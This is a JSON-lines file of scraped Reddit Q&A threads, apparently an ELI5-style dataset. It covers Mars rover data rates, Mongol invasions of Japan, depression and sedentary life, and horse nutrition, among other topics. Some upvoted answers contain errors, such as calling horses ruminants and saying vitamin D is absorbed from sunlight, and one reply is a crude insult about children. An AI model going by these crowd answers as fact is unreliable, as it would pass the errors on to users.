it. \n\n\nAnd remember, that is Mars, it gets worse the farther out you go. The probe that will fly by Pluto in a few months will need well over an hour to get the signal back to us. ", "On a similar note and of interest to some people whom may be studying scheduling algorithms for finals, here is a brief on the priority inversion problem with pathfinder:\n_URL_0_\n\nFunny stuff.", "How much energy the Rover uses in, say, 24 hours? ", "Can you sit next to the facility with a spec an and figure out what frequency they broadcast at, the type of modulation and run some analysis to figure out how the data is handled between the two and upload your own missions, because that sounds fun. ", " > lower frequencies travel further for less energy\n\nLower frequencies will appear to experience less path loss than higher frequencies, as demonstrated by the [Friis transmission equation](_URL_0_).  The lower loss at lower frequencies is actually due to the effects of the size of antenna aperture in that a low-frequency antenna of a given gain is physically larger than a high-frequency antenna of the same gain, and thus able to receive a larger amount of energy.", "The image sensors on Curiosity are 2MP Kodak CCDs.  So you wouldn't be getting any video from them even if it could be transmitted.  Those high resolution images are made from stitching many 2MP or smaller images together after they all get to Earth.  The imaging systems are built for reliability, not high resolution performance.\n\nMore info here:\n_URL_1_\n\n_URL_0_\n\n", "In future space probes it's possible they will use laser communications, which was tested this year by the [LADEE probe](_URL_0_).  It got about 600 Mbits/s from the Moon.  From Mars that would be around 100 Mbits/s using laser communications, compared to the 6 Mbits/s MRO can transmit right now.", "All the comments in here about latency are off the mark.  While it is loosely related, the primary variable is signal strength.  [Data rate is a function of signal/noise ratio (and bandwidth)](_URL_2_).  In this case, specifically, you are talking about a very weak signal due to the distance.  If you work out the [free-space-path-loss](_URL_3_) for the distance from Earth to Mars you will see this.\n\nOnce you have that information coupled with the specs of the Rover and Relay station you can calculate what's known as the [link-budget](_URL_0_) which allows you to determine the losses in the system and total power received/tx'ed.  \n\nBelieve it or not, with the rest of the specs you can work this out on a cocktail napkin.  But this website has done it for us already so I'll just link it instead:\n\n_URL_1_\n\nHere are a few relevant quotes:\n\n > As stated previously, the distance between Mars and Earth varies from about 100 million to 400 million km. MRO [Mars Reconnaissance Orbiter] is designed to send at a minimum data rate of 500 kb/s when the signal is weakest (the distance is largest), and 6 Mb/s when the signal is strongest.\n\n & \n\n > For data from Mars back to Earth, Curiosity uses the UHF band to transmit to MRO while within range. Curiosity has about a 6 to 9 minute window for communications about 2 times per day. The data received by MRO is stored in the on-board memory. MRO has allocated 5 Gb per day for storage for all landers. When MRO can establish an X-band link, the data is relayed back to Earth.\n\nEdited to add WikiLinks.", "The rovers use UHF and X-Band radios for all their communications. For any significant bandwidth (up to 2Mbps) they use UHF to talk to the Mars orbiters which operate a store-and-forward service over X-Band or Ka-Band to and from Earth. For contingency use, the rovers use their onboard X-Band radios to talk to earth at between 500bps and 32kbps (depending on the current distance from earth to Mars and which rover is doing the talking)\n\nThe other side of this link involves NASA's DSN (Deep Space Network) which has some 34 and 70 meter dishes. To use the Direct-to-Earth communications mode of the rover, they either use two 34m dishes or a 70m dish. Even then, the signal is incredibly faint and you need some fairly advanced demodulation techniques to use it.\n\nLow frequency communications are used on earth for long distance links because the propagate better through matter and bounce around inside our atmosphere. Outside of earth, there is nothing to get in the way of signals so there is no preference for low frequency signals. (Some people also miss interpret the Friis transmission equation to mean that low frequency propagates farther but it does not. For antennas with equal effective area and distance, the total link will remain similar.) X-Band is in a sweet spot though since it's high enough frequency to make small directional antennas but not too high to be hard to work with.\n\nFor further reading, JPL publishes papers detailing the communications systems on many of their experiments including several of the mars rovers here: _URL_0_\n\nEdit: spelling", "For MRO/Curiosity, the bands for communication with Earth are rather high, in the SHF (super high frequency) range, specifically, the X-band, around 8 GHz.\n\nHigher frequencies are nice because you get more bandwidth and you get lots of directionality, so you can point a narrow beam directly at Earth without having to make a big antenna.  At lower frequencies, you have to make the antenna bigger or use more power to get the same SNR, so you'll end up with a lower data transmission rate for the same amount of money.\n\nHowever, UHF is used between MRO and Curiosity.  UHF transmitters and receivers are... I think... smaller and more power efficient, and directionality isn't as important if you're not sending your signal 50 million km.", "I'll see if I can find a source, but I remember an analysis on the cost of Mars Odyssey and its data transfer versus standard text messaging rates (10 cents per text). \n\nIt turns out it has been able to send enough data that it cost less to send data to or from Mars (even with a price tag of $297 million for Odyssey) than to send a text message.\n\nFunny stuff."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Curiosity_(rover)#Specifications"], ["https://en.wikipedia.org/wiki/Curiosity_\\(rover\\)#Specifications"], ["http://eyes.nasa.gov/dsn/dsn.html"], [], ["http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/mars_pathfinder.html"], [], [], ["https://en.wikipedia.org/wiki/Friis_transmission_equation"], ["http://www.dpreview.com/news/2012/08/08/Curiosity-interview-with-Malin-Space-Science-Systems-Mike-Ravine", "http://www.dpreview.com/news/2012/08/07/NASA-Curiosity-Rover-sends-back-first-color-images-from-Mars"], ["http://en.wikipedia.org/wiki/LADEE#Lunar_Laser_Communication_Demonstration"], ["https://en.wikipedia.org/wiki/Link_budget", "http://sandilands.info/sgordon/communications-with-mars-curiosity", "https://en.wikipedia.org/wiki/Shannon%E2%80%93Hartley_theorem#Statement_of_the_theorem", "https://en.wikipedia.org/wiki/Free-space_path_loss#Free-space_path_loss_formula"], ["http://descanso.jpl.nasa.gov/DPSummary/summary.cfm?force_external=0"], [], []]}
{"q_id": "22htg4", "title": "why do little kids like/want to hurt each other", "selftext": "I just realized how mean some kids can get and I just want to know why", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22htg4/eli5_why_do_little_kids_likewant_to_hurt_each/", "answers": {"a_id": ["cgmyjbg", "cgmyxze", "cgmza1n", "cgmzv4x"], "score": [5, 2, 17, 5], "text": ["Kids are cunts. There's no cure for being a cunt.", "It can be the same with adults.\n\nJust watch *The Act of Killing.*", "Empathy, like all human traits is developed over time. Because children obviously haven't had much time on this earth, they also haven't had much time to refine their sense of empathy. You know which other groups of people have under-developed senses of empathy? Sociopaths and serial killers. \n\nThe other big part of it, is that children require constant stimulation for their little cold-hearted brains. So kids will do things, just to get any sort of response. They don't quite understand that they are causing another kid agony, but they do understand that they are able to cause an effect on the other kid. ", "Kids brains are still developing. Cause and effect is not totally understood by children of a young age. It could also be that young children have poor self regulation (emotional control), so they act out in inappropriate ways when angry, sad, bored etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "10fa8p", "title": "Religion with the most followers in history.", "selftext": "I am wondering which religions have had the most followers throughout history.  Obviously there are very few people that worship Egyptian Gods these days but did they have more followers over time than say Christians?\n\nThe ideal answer would be something like this:\n\nTotal followers in history\n\nChristians: 3 billion\nMuslim: 4 billion\nHindu: 500 million\nancient Egyptian religion: 300 million\n\nor whatever...\n\nthanks", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10fa8p/religion_with_the_most_followers_in_history/", "answers": {"a_id": ["c6czdey", "c6czhuh", "c6d23fn", "c6d64id"], "score": [40, 10, 6, 3], "text": ["I don't think it's really possible to field an answer with any real accuracy. That being said I'd be surprised if Christianity wasn't the lead horse in the race due to its historically evangelical nature (especially during the period of European colonialism).", "This is a decent starting point:  _URL_0_\n\nChristianity has about 2.2 billion followers.  Islam has 1.5 billion, Hinduism 0.9 billion.  This is in the present day, however.", "Wouldn't that depend a *lot* on where you draw the line?  I mean, okay, before Islam and Christianity, Europe was ruled by paganism.  People like Zeus and Apollo and such.  Roman gods are the same as Greek gods...right?  Well, from what I understand...no.  Roman gods were different, and then greek myths kinda bled over into the Roman gods so that the Roman gods basically merged with the Greek ones.  \n\nIn other words, it seems to me that a lot of religions may not have exactly clear boundaries.  Although I argue that most of the ones nowadays do.  This might not have been true in the ancient world.  And I can't even imagine how difficult it would be to track religion in the Americas, especially seeing how we don't even know how many people lived there when Columbus came.\n\nBut just using estimated guesses, with today's religions...well Christianity has been around for 2000 years.  It has been the dominant religion in Europe for 1699 years and 11 months (when Constantine converted to Christianity and became sole Roman emperor).  It wasn't the most *popular* religion then, but that seemed to change very quickly within the century with the Christianization of the Roman Empire and discrimination against pagans, etc.  The Germans, not a part of the empire, also became Christian through osmosis.  So the way I view it as, the majority of people in Europe for the past 1700 years were Christian.  And the majority of people in the Americas were Christian for...300, 400 years, perhaps?  I'm not sure when Europeans outnumbered the natives.  \n\nIslam started 1400 years ago.  It has been the predominant religion of Saudi Arabia for all that time.  _URL_0_  If this is reliable, it has *probably* been the predominant religion of most of that area shown (except Iberia) for 1250 years.  So Northern Africa, Middle East.  Places that were never that densely settled.  Not now, not back then either. \n\nJudaism is very old, but honestly really small. 13 million now.  I'm seeing that there were around 17 million before WW2.  In ancient times, the religion was similarly pretty provincial to modern day Israel.  So, not even close to a forerunner.\n\nHinduism I think is the correct answer here, unless you count \"paganism\" as a unified religion.  It is the third most popular religion today (around 900 million), but also considered the oldest living one.  And I *could* be mistaken, but I'm pretty sure the region (India/South Asia) has always been highly populated. \n\nBuddhism has 450 million according to Wikipedia.  Buddha lived around 500 BC, which would make the religion 2500 years old.  I do *not* really know too much about the *spread* of Buddhism so much, but I'd be interested to know.  Was it popular in parts of Asia that were population centers?\n\nEither way, I'm guessing the correct answer is Hinduism, because it's the oldest living religion, in a region that was *at least* a major population center, and is still very popular today.\n\nNow, according to [this](_URL_1_), around 107,000,000,000 people have lived.  From 8000 BC, that would be closer to 106 billion.  So I do not think whatever's the most popular religion *today* has as much as an effect as people think it does.  ", "Just pointing out, Zoroastrianism was one of the world's largest religions before Christianity, I believe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.adherents.com/Religions_By_Adherents.html"], ["http://upload.wikimedia.org/wikipedia/commons/2/20/Age_of_Caliphs.png", "http://www.prb.org/Articles/2002/HowManyPeopleHaveEverLivedonEarth.aspx"], []]}
{"q_id": "zaj4a", "title": "how do i create shirts based on existing properties without getting in trouble for copyright infringement?", "selftext": "My friends and I have some ideas for tshirts based on video games and other nerd culture properties that we want to sell. I see other sites and people using existing properties (Zelda, Ninja Turtles, ect) and they apparently are okay to do this, so what are the laws for doing this without getting sued?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zaj4a/eli5_how_do_i_create_shirts_based_on_existing/", "answers": {"a_id": ["c62wgbu"], "score": [3], "text": ["You either don't do it, or change the source enough that you can claim it's a parody. Selling merchandise using copyrighted characters you do not own is an incredibly clear violation, and there isn't a court in the country that would rule in your favor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7hmd6w", "title": "how are some fruits/veggies 90%  <  water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7hmd6w/eli5how_are_some_fruitsveggies_90_water/", "answers": {"a_id": ["dqs3upb", "dqs4au7"], "score": [2, 3], "text": ["a water balloon is 99.9% water.   all it needs to be a solid-ish is a shell membrane.   \n\nsame with your body's cells.  ", "Pick up a 12 pack of sodas.  Despite being  > 90% water, it's very solid.  Because the water is trapped in a rigid membrane."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1y09g7", "title": "What usually happened to soldiers listed as MIA in WW2? Where they ever found or just assumed dead?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1y09g7/what_usually_happened_to_soldiers_listed_as_mia/", "answers": {"a_id": ["cfgf2lt", "cfgrd1c"], "score": [20, 5], "text": ["The Joint POW/MIA Accounting Command, a Defense Department Agency, is charged with searching for, recovering, and identifying Americans from past conflicts, from WWII through the end of the Cold War.\n\nFor this time period, they are not assumed dead until their remains are recovered.  That said, their family members have received benefits.  But they are searched for to this day.", "That really depends on the nation involved. \n\nI do know what happened to Soviet MIA's and its rather sad. \n\nA little background information, the Soviets at the time, used somethign that we wouldnt really recognize as dog-tags. They used a small vial of ebony which contained a blank piece of paper that soldiers were supposed to fill out with their information. Now, most of these often went un-filled because the average soldier was  superstitious... They believed that if they filled them out, they were signing their death warrants. \n\nSo, when someone went missing in action, the Soviets often assumed that the soldier had defected or deserted. They often didn't retrieve their dead in the early war because they couldn't or it would have been far too dangerous to try. \n\nAfter the war, the Soviet leadership decided that it was in their interest to get rid of anything war-related that did not fit the official narrative. This included the tremendous losses that the Soviet Union suffered to hold on against the German onslaught . They recovered the dead that they could and started planting trees over major battlefields or building things over places where there'd be a lot of dead Soviet soldiers... Russia, today, still has 4 million WW2 MIAs and it has led to volunteer organizations going out into the woods and digging for the dead themselves. \n\nTo know more, here's a nice documentary from the BBC for you, [check it out](_URL_0_) I can't link directly to it but its called \"Digging up the dead in Russia\" Feb. 13th 2014. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bbc.co.uk/podcasts/series/docarchive"]]}
{"q_id": "9xnv69", "title": "how does a check scam work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xnv69/eli5_how_does_a_check_scam_work/", "answers": {"a_id": ["e9toqc8"], "score": [4], "text": ["When you cash a check, you do it at **your** bank, not the bank which issued the check.  Your bank is essentially lending you the money; they say \"OK, this piece of paper looks like a valid IOU.  I'll give you the $100, and we will contact the bank which issued this check and they will repay us that $100.\"  Unless the check is very obviously fake, your bank will assume it's good and give you your money.\n\nIf the check is invalid, then the bank which issued it (if there even is one) will not pay your bank the $100.  Your bank will then ask for the $100 back from you (usually by deducting it from your account)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bhigr", "title": "why isn't it possible for hackers to downgrade the operating system of iphones?", "selftext": "Fundamentally, a phone is just a little pocket computer. So why can't hackers just wipe everything and install any type of operating system they would like (ie android on an iphone)? How exactly do apple prevent this from being possible? If they can find exploits allowing them to jailbreak the phone, can't they use those to flash other operation systems or older versions of ios?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bhigr/eli5_why_isnt_it_possible_for_hackers_to/", "answers": {"a_id": ["csm70kq", "csmdec6"], "score": [11, 2], "text": ["They absolutely can, there just isn't enough of a demand for many of those types of hacks. For example, OpeniBoot is a project for an open source version of iBoot (the Apple bootloader) that makes it possible to install Android, or many many other OSes, on your Apple device. But because not enough people are interested in doing that, only very few Apple devices are supported because they don't have enough people working to figure out how to make it work on more devices.", "It's actually pretty complex. There are a lot of techniques that make it very difficult (not impossible) to do.\n\nSome secured computing systems only execute \"signed\" code. Basically code that is encrypted with a private key and decrypted with a public key (in the cpu)\n\nWhen the system firmware is updated, a fuse that formed the public key is blown, thus changing the key. Apple knows how this will change the private key. Then the new os is signed with the new private/public key. Making downgrading physically impossible with that CPU."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a40gvl", "title": "Does modern sedentary lifestyle contribute to the rising amount of depression?", "selftext": "Hello r/askscience!\n\n & #x200B;\n\nNowadays people are less physically active, and the rate of depression has been rising. Physical exercise is regularly advised as a remedy for depression and other mental health issues. Could it therefore be, that normal mental health requires a \"homeostatic\" amount of physical activity? Does sedentary lifestyle play a part in the grand scheme of more people becoming depressed?   \n\n\nThanks for the answers :) ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a40gvl/does_modern_sedentary_lifestyle_contribute_to_the/", "answers": {"a_id": ["ebarpkb", "ebatpax", "ebcg5sd", "ebcg7bb", "ebcibir", "ebcl72g", "ebcqocv", "ebcrn5i"], "score": [2473, 254, 5, 21, 4, 5, 4, 8], "text": ["A gigantic meta-analysis from the British Journal of Sports Medicine says yes.\n\n**Sedentary behaviour and the risk of depression: a meta-analysis**\n\n >  Thirteen cross-sectional studies with 110,152 participants and 11 longitudinal studies with 83,014 participants were included in this meta-analysis. The summary RR of depression for the highest versus non-occasional/occasional sedentary behaviour was 1.25 (95% CI 1.16 to 1.35, I2=50.7%) for all included studies. The pooled RRs of depression for sedentary behaviour were 1.31 (95% CI 1.16 to 1.48) in cross-sectional studies and 1.14 (95% CI 1.06 to 1.21) in longitudinal studies. In subgroup analysis by different types of sedentary behaviour, the pooled RRs of depression were 1.13 (95% CI 1.06 to 1.21) for long-time TV viewing and 1.22 (95% CI 1.10 to 1.34) for prolonged computer or internet use.\n\n**Conclusions: This meta-analysis of observational studies indicates that sedentary behaviour is associated with increased risk of depression.**\n\n_URL_0_\n\n-----------------------------------------\n\nIt is also important to understand the more complex role that exercise plays for our body as a whole. One of the most interesting longitudinal studies, and one that anyone in almost any medical or research field comes across eventually is called the Framingham Heart Study. It has been going on since 1948 with the children and then the grandchildren of the original participants, and contributed more to our understanding of Cardiovascular Disease than almost any other study. \n\nThere have been tens of thousands of write-ups on the data from this study, but I'm going to link one of the early analysis. \n\n\n >  _URL_1_\n\n >  Estimating the effect of long-term physical activity on cardiovascular disease and mortality: evidence from the Framingham Heart Study \n\nOne of the things Framingham shows is the role of exercise in all-cause-mortality (ANY cause of death from cancer to heart attacks and suicide.)\n\nOf the variables they controlled for - regular vigorous exercise was shown to be one of the most important factors in not only reducing deaths from Cardiovascular Disease, but also reducing all cause mortality. \n\n**To bring this full circle to the OP's original question - we have good evidence that sedentary lifestyles contribute to things like cancer and obesity. And we have good evidence that cancer and obesity are additional contributors for depression.** \n\n\n", "There have been many studies that show **correlation** between lack of exercise and depression, but in the reverse direction, multiple studies have attempted to assess the efficacy of exercise as a treatment for depression, and [meta-analysis has shown only a weak effect, at best](_URL_0_). In the six higher quality trials in the meta-analysis, there was only a small clinical effect favoring exercise that did not reach statistical significance. \n\nThis makes it seem to me that a sedentary lifestyle and depression are not **causally** linked. However, avoiding a sedentary lifestyle could have other benefits that can at least somewhat offset the negative health outcomes linked to depression, though.", "The British Journal of Psychiatry published a meta-analysis ( _URL_0_ ) that showed links between Vitamin D deficiency and depression. Vitamin D is absorbed from sunlight, so vitamin D deficiency could be caused by lack of *outdoor* activity rather than simply a sedentary lifestyle. I'm aware that this isn't the exact question you asked.", "Be very careful with thinking there are causal conclusions here. Metadata studies can give evidence to just about any plausible hypothesis. There's also a great many other things associated with depression like atomization and loneliness for example. It's a web and one strands is possibly physical fitness", "Went to a psychiatrist in college who told me that he didn\u2019t want to give me medication, but that in order to reduce depression i should try and exercise 5 times/week. It kinda helped. I was still depressed, but I got in better shape", "I've been depressed for whole my live, than discovered dancing as a kind of Antidepressivum. But I discovered also, I wasn't nearly as fit as my dancing friends. To be fit for dancing lessons I began with Sports. Didn't help. I had to do outdoor Sport to gain Fitness. \n\nIn this process my depression vanished. Nowadays I do a ridicolous amount of outdoor Sports. I move a lot around in daylight. I feel healthy and happy. Even if I get wet and cold. Then I be happy if I make it to my warm and cosy home. Didn't catch me a cold for years. Just take off my clothes when they get wet by rain or sweat.\n\nI have to get out at least twice a week. Otherwise I get into a really bad mood.\n\nIt helps against pain also. But thats another theme.\n\n & #x200B;", "Of course it does.  We\u2019ve gone from hunting and gathering to never having to leave home ordering pizza and watching Netflix full time.  People have become soft and lazy with tons of time to conjure up illnesses and various mental disabilities.  I\u2019m pretty sure this wasn\u2019t a problem for hunter and gatherers.", "Doctors have never been so vigilant about depression until now, meaning that there could have been an equal/higher number of depression cases in the past but doctors just didn\u2019t diagnose it as much. Mental health has only recently been a key focus in society. Before it was highly stigmatized and one must only look at the mental institutions of old to see how barbaric and inhumane mental health treatment used to be no less than 30 years ago. Some of the inhumane treatment continues even today. So the question is not are the depression numbers higher, but is awareness higher? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://bjsm.bmj.com/content/49/11/705.share", "https://www.ncbi.nlm.nih.gov/pubmed/23474622"], ["https://www.ncbi.nlm.nih.gov/pubmed?term=24026850"], ["http://bjp.rcpsych.org/content/bjprcpsych/202/2/100.full.pdf"], [], [], [], [], []]}
{"q_id": "eww7pi", "title": "why is it so easy to feel tired and jittery but not energetic and calm?", "selftext": "For example if you drink a bunch of caffeine you can still be tired or trying to go to sleep you may feel very sleepy but jitters keep you from sleeping. On the other hand if you took a bunch of cocaine you probably couldn't stay very calm. Why is one pairing of extremes possible and quite easy to achieve where the other is not?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eww7pi/eli5_why_is_it_so_easy_to_feel_tired_and_jittery/", "answers": {"a_id": ["fg4uyb2"], "score": [2], "text": ["Energetic plus calm is clarity and focus \u2014 being \"in the groove,\" so to speak. Your emotions, your arousal (level of consciousness, not sexual), and your fatigue state are connected but separate influences on your mind. \n\nLow arousal and you feel drowsy even if you're well rested and otherwise excited. Low excitement, and you're depressed even if you're fresh and wide awake. High fatigue, and your body and mind are worn out regardless of your emotions and awareness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94awfl", "title": "Almost every source I use to look up on the Mongol invasion of Japan claim that convenient occurrences of typhoons were the reasons why the invasions were not successful. Is this just an oversimplification or was the weather really the the reason the Mongols failed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/94awfl/almost_every_source_i_use_to_look_up_on_the/", "answers": {"a_id": ["e3k9cqk"], "score": [487], "text": ["It's not only an oversimplification, it's unlikely to be true.\n\nI believe Thomas Conlan is the first English author to argue that the Japanese would have been able to handle the Mongols themselves, weather or no weather. Here is the analysis section of his book [In Little Need of Divine Intervention](_URL_1_)\n\nNumbers are always problematic. Conlan estimates that the two sides probably had parity. But numbers are easier to exaggerate and harder to pin down. Let's just look at the overall fighting.\n\nIn 1274, the invasion forces landed on Ky\u016bsh\u016b. Who had the upperhand in the fighting depends on which sources, but even in Korean and Chinese sources, the generals of the invasion forces made the decision to withdraw all on their own. There might not even have been a typhoon, and even if a weather event did occur, all it did was batter the already withdrawing invasion force.\n\nAll accounts of the 1281 invasion force say it was larger than the 1274 one. But the Japanese did not just sit idling for 7 years, they prepared as well. Looking at the recorded fighting, Mongol-Korean forces that arrived first could not even land on Ky\u016bsh\u016b (quite likely due to coast walls built by the Japanese). The fighting seems to have been limited to the outlining islands of and it seems they were even forced to abandon Shiga island and retreat to Iki island. They then met up with the Chinese force at Takeshima Island late in the seventh month, where skirmishing took place. The invasion forces remained there for a few days (due to fighting, indecision, and/or rough tides) until they were battered by typhoon on the last day of the month/first day of the next. At the time, Japanese sources mention that forces from Western Honsh\u016b had gathered at Shimonoseki, ready to cross into Ky\u016bsh\u016b. So, the Mongol-Korean forces did worse in the second invasion than in the first, and while significant reinforcements in the form of the Chinese had arrived, significant Japanese reinforcements were also soon to join the fighting. Even if the typhoon had not destroyed the invasion fleet, and even if we don't go as far as Conlan did in assuming that the Ky\u016bsh\u016b forces were beating the combined invasion force all by themselves before the typhoon occurred, there's no doubt hard fighting against entrenched defenders lay ahead of the invasion army even if they had been able to successfully land. The Japanese were not on the brink of defeat when the typhoon showed up. Worst case for the Japanese, they were harassing the invaders while preparing to defend Dazaifu, with reinforcements coming.\n\nAfter the failure of the 1281 invasion, Kublai Khan ordered a third invasion. He cancelled it in the spring of 1286, but then wished to resume it later in the year. His then-Minister of Personnel Liu Xuan tried to dissuade him. Liu Xuan reminded him of the costs, the previous casualties, the challenges of a naval invasion, the dissatisfaction among the people to the point of widespread banditry,  for the war and the dangers of sending out a gigantic force during times of dissatisfaction. But he also said, paraphrasing:\n > [The seas of Japan are ten thousand li, the lands so far away it can't be compared to [our?] two countries. Even if this time the weather co-operate and we reach their lands, their lands are vast, their peoples many. They can gather troops from all directions, while our army has no help. If our army faces defeat and we wish to send reinforcements, can they fly there?](_URL_0_)\n\nLiu Xuan goes on to say that even Sui was defeated in Korea, and even Emperor Taizhong of Tang who prided himself on warfare could only take a few cities in Korea, and not conquer the country. Japan is much, much further across the sea. This caused Kublai Khan to give up the Japanese Invasion for good.\n\nWhile in trying to dissuade Kublai Khan, Liu Xuan would of course make the invasion seem as difficult as possible, it's important to recognize that the Yuan government realized that conquering Japan was not just about landing an army. They expected stiff resistance that could even lead to defeat.\n\nSo to recap, typhoons had no effect on the outcome of the 1274 invasion. A typhoon destroyed the 1281 invasion fleet, but even if it didn't, the Japanese would not have been a push over and it's highly debatable whether the invasion army could have successfully conquered Japan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://zh.wikisource.org/wiki/%E5%85%83%E5%8F%B2/%E5%8D%B7168", "http://deremilitari.org/wp-content/uploads/2014/02/conlan.pdf"]]}
{"q_id": "1spxve", "title": "what's being 6 like?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1spxve/eli5_whats_being_6_like/", "answers": {"a_id": ["ce00d0o", "ce00eks"], "score": [3, 2], "text": ["I'm better than you because i'm in 1st grade and you are only in Kindergarten.", "Being 6 again would be fantastic. no bills, no responsibility and no stress, just hanging around all day playing with other kids and watching cartoons "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "19fwkl", "title": "Does DNA determine the size and shape of an organism or only what proteins it can create?", "selftext": "I was wondering if coded within DNA are measurements such as how long my arm is or how tall I am, or if DNA only holds information about what each cell is supposed to do.\n\nPut another way, if our technology was good enough, could you tell what a person would look like, how tall they were, etc by only looking at their DNA??", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19fwkl/does_dna_determine_the_size_and_shape_of_an/", "answers": {"a_id": ["c8nqh2r", "c8nuoxx"], "score": [7, 3], "text": ["In a way, both. \n\nDNA holds information about each protein that a cell in the body would ever need to create. Some of these proteins change how the information is read from the DNA: they start and stop production of other proteins. And some of those proteins start and stop *other* proteins... it's a gigantic, complex network of proteins which regulate each other. Some proteins can travel from one cell to control the networks of another cell.\n\nThe proteins that travel between cells change how the whole body forms in the womb, and later, they control a lot of things about how the body works. So in this way the DNA, which has information about the proteins, can change the shape of the body, or how it works.\n\nBut the DNA isn't the only thing that changes the behaviour of cells, growing embryos, or the body: chemicals and other influences from outside the body can do the same. So we can't tell just from DNA how a person would look. We can tell some things exactly: the eye colour is one of these. But something like height is less sure. If a pregnant woman drinks too much alcohol, for example, her baby can be be smaller than expected.", "[Epigenetics](_URL_1_) affect how \"expressed\" a gene is (which for a trait like \"size\" in humans effects  multiple factors like growth hormone at a body-level view AND protein regulation at a cellular-level view) and that can most definitely be affected by environmental factors.\n\nIf you're interested in how genes translate to our macroscopic appearance, you might be interested in reading about [Hox genes](_URL_0_) which influence the overall shape of an embryo during development."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Hox_gene", "http://en.wikipedia.org/wiki/Epigenetics"]]}
{"q_id": "1tlov6", "title": "how come i need protein, carbs and vitamins etc, when a horse can get all they need from hay and be fitter than me? relatively speaking.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tlov6/eli5_how_come_i_need_protein_carbs_and_vitamins/", "answers": {"a_id": ["ce96n3r", "ce98ck2", "ce98d4g", "ce99hj2", "ce9fl1d", "ce9gdjk"], "score": [16, 2, 5, 2, 5, 2], "text": ["They can digest they bulk of plant material which we can not digest.  This allows them to extract more nutrients and calories from the cells of plants.\n\nYour body can create the most proteins it needs, with a some exceptions.  It is more effective very often, to simply get proteins from where they exist already (like nuts, legumes, animals or even insects). \n\nThe Horse has different needs and different exceptions.  Wild horses don't only feed on hay (if ever), and domesticated horses may have supplements added or shots given to them.", "We use protein  &  carbs for energy.  We can get those from quite a lot of sources.  The protein doesn't all have to come from \"meat\" (beef, fish, pork, poultry).  The carbs don't all have to come from grain (we get some from things like eggs).\n\nHorses also need protein  &  carbs. They are just designed to get them from plant matter.  Humans are designed to get them from a variety of sources.  ", "Horses can't get all they need from hay. To be healthy, they need green plants and grains, and they're often given supplements in the form of feed pellets and salt/mineral blocks.\n\nA horse that ate only hay wouldn't live long.", "It's important to remember that 'hay' and 'straw' are not the same thing.\nStraw is leftover plant material from crops that have already been harvested.  For example, after a wheat crop has been harvested, the remaining dead stems of the wheat plant are typically collected as straw.\nHay is a collection of grasses, grains, and legumes that are intentionally grown for feeding animals, and harvested while it is still mostly green and alive.\nStraw is almost entirely cellulose fiber.  Hay is relatively high in protein and vitamins.\nThat said, hay still contains a large amount of cellulose fiber compared to human food.  Humans are not able to digest cellulose fiber, because we don't have any enzymes that can break the large molecules apart.  However horses and cows and other ruminants have a multi-chambered stomach system that contains a large amount of symbiotic bacteria which break down the cellulose into smaller sugar molecules.", "There are two interconnected reasons for this: First, that good hay actually does include protein and vitamins, and second is that horses' guts are designed to extract nutrients from fibrous plants better than human guts.\n\nA good hay (one harvested and dried and stored properly), depending on the grasses and other plants that make up the hay, can have as much as [20% protein](_URL_0_). (How much protein a horse needs in their hay varies with body type, activity level, age, etc. Just like humans). It will also contain trace minerals (from the soil), as well as sugars and more complex carbohydrates. There are usually a variety of different plants in a finished hay, and different plants will provide different nutrients, ending with (hopefully) a balanced food for the horse. (The actual process of making hay can get rather complex, as farmers look to create plant mixes that are better suited to their animals. There are also many different types of hay, named for both the primary plants they're composed of (e.g. Timothy or Alfalfa hay) or the time of year they were harvested (most fields will produce 2-3 cuts of hay in a growing season, and the resultant hay is referred to as 1st, 2nd, or 3rd cut. Later cuts, if harvested in good weather, are generally \"leafier\" and nutrients are more easily available in them)). There are also plenty of cases where hay *can't* provide all of the nutrients a horse needs- mineral deficiencies in the soil, a poor mixture of plants composing the hay, improperly harvested and stored hay that's lost nutrients, or simply a horse with a very fast metabolism that requires more nutrients than it can get from hay- and many horse owners will feed grains (corn, wheat, barley, etc). to supplement hay's nutrients. \n\nSo, we've got some hay that's got a variety of nutrients suitable for our horse. Our horse's digestive system secretes a lot more enzymes that help break down plant cell walls than human digestive systems, allowing horses to gain more nutrients from grasses than humans can. Equine digestion actually involves very *little* fermentation- while some fermentation occurs in the first part of the large intestine, most of the hay has been broken down by 